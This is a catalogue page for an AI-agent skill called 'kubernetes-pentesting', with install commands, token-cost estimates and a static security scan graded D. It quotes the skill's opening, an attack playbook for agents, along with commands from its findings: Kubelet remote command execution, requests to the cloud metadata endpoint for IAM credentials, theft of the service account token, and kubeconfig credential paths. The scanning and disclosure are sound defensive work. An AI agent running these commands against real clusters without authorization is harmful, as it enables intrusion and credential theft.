HackSkills is an organized knowledge base of installable skills that gives AI agents practical security knowledge across areas such as web security, privilege escalation, reverse engineering, and digital forensics. It is intended for bug bounty work, penetration testing, CTF competitions, and authorized security research. The catalogue entries are the project's own master, category, and topic skills.
Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx agentmods add skills/yaklang/hack-skills/kubernetes-pentestingnpx skills add yaklang/hack-skills --skill kubernetes-pentestinggit clone --depth 1 https://github.com/yaklang/hack-skillsWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/yaklang/hack-skills/kubernetes-pentesting)<a href="https://agentmods.dev/skills/yaklang/hack-skills/kubernetes-pentesting"><img src="https://agentmods.dev/badge/skills/yaklang/hack-skills/kubernetes-pentesting.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00054 | $0.03505 |
| Opus 5 | $0.00027 | $0.01752 |
| Sonnet 5 | $0.00011 | $0.00701 |
| Haiku 4.5 | $0.00005 | $0.00350 |
Grade D, and why
kubernetes-pentesting scanned grade D with 5 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 6d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Sends data to an external URLlowData exfiltration
A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.
curl -sk https://NODE_IP:10250/run/NAMESPACE/POD_NAME/CONTAINER_NAME -d "cmd=id" Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Harvests environment variablesmediumData exfiltration
Enumerating or grepping the environment for keys collects credentials unrelated to what the mod says it does.
# If SA has elevated permissions — dump secrets, create privileged pod: Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Reaches for credential filesmediumPrivilege escalation
SSH keys, cloud credentials, git-credentials, .npmrc, /etc/shadow: reading these is how a config file becomes a credential leak.
# Common kubeconfig locations: ~/.kube/config, /etc/kubernetes/admin.conf, Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Cloud metadata endpointmediumServer-side request forgery
One request to 169.254.169.254 can return temporary IAM credentials.
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/ Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -sk https://APISERVER:6443/api/v1/namespaces Copies of this mod
4 near-identical copies found in the catalogue:
- kubernetes-pentesting — 100% identical, 0 lines differ
- kubernetes-pentesting — 100% identical, 0 lines differ
- kubernetes-pentesting — 100% identical, 0 lines differ
- kubernetes-pentesting — 98% identical, 4 lines differ
How it starts
The opening of the file, as written. The whole thing — 349 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SKILL: Kubernetes Pentesting — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert Kubernetes attack techniques. Covers API server access, RBAC escalation, service account token abuse, etcd secrets extraction, Kubelet API exploitation, cloud IMDS access (EKS/GKE/AKS), admission webhook bypass, and network policy evasion. Base models miss the distinction between namespace-scoped and cluster-scoped RBAC, and overlook Kubelet's unauthenticated API.
0. RELATED ROUTING
Before going deep, consider loading:
- container-escape-techniques for escaping from a compromised pod to the underlying node
- linux-privilege-escalation once on a node for escalating to root
- linux-lateral-movement for pivoting between nodes
- linux-security-bypass when Pod Security Standards or seccomp profiles restrict your actions
- ssrf-server-side-request-forgery when exploiting SSRF to reach the K8s API or cloud metadata
1. K8S API SERVER ACCESS
1.1 Anonymous Access Check
# Check if anonymous auth is enabled (default: limited in modern clusters)
curl -sk https://APISERVER:6443/api/v1/namespaces
curl -sk https://APISERVER:6443/version
curl -sk https://APISERVER:6443/api
curl -sk https://APISERVER:6443/apis
# Common API server ports:
# 6443 — secure API (default)
# 8443 — alternative secure
# 8080 — insecure API (legacy, no auth needed)
1.2 Token-Based Authentication (from inside pod)
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
CACERT=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt
NAMESPACE=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)
APISERVER="https://kubernetes.default.svc"
curl -s --cacert $CACERT -H "Authorization: Bearer $TOKEN" \
$APISERVER/api/v1/namespaces/$NAMESPACE/pods
1.3 Certificate / Kubeconfig Authentication
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 6d ago First seen · 349 lines · 54 tokens per session scan D f3e32e454611
kubernetes-pentesting is a skill published in the GitHub repository yaklang/hack-skills (2,064 stars, last pushed 2mo ago), licensed MIT. It adds 54 tokens to every session and 3,505 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it D with 5 findings (sends data to an external url, harvests environment variables, reaches for credential files). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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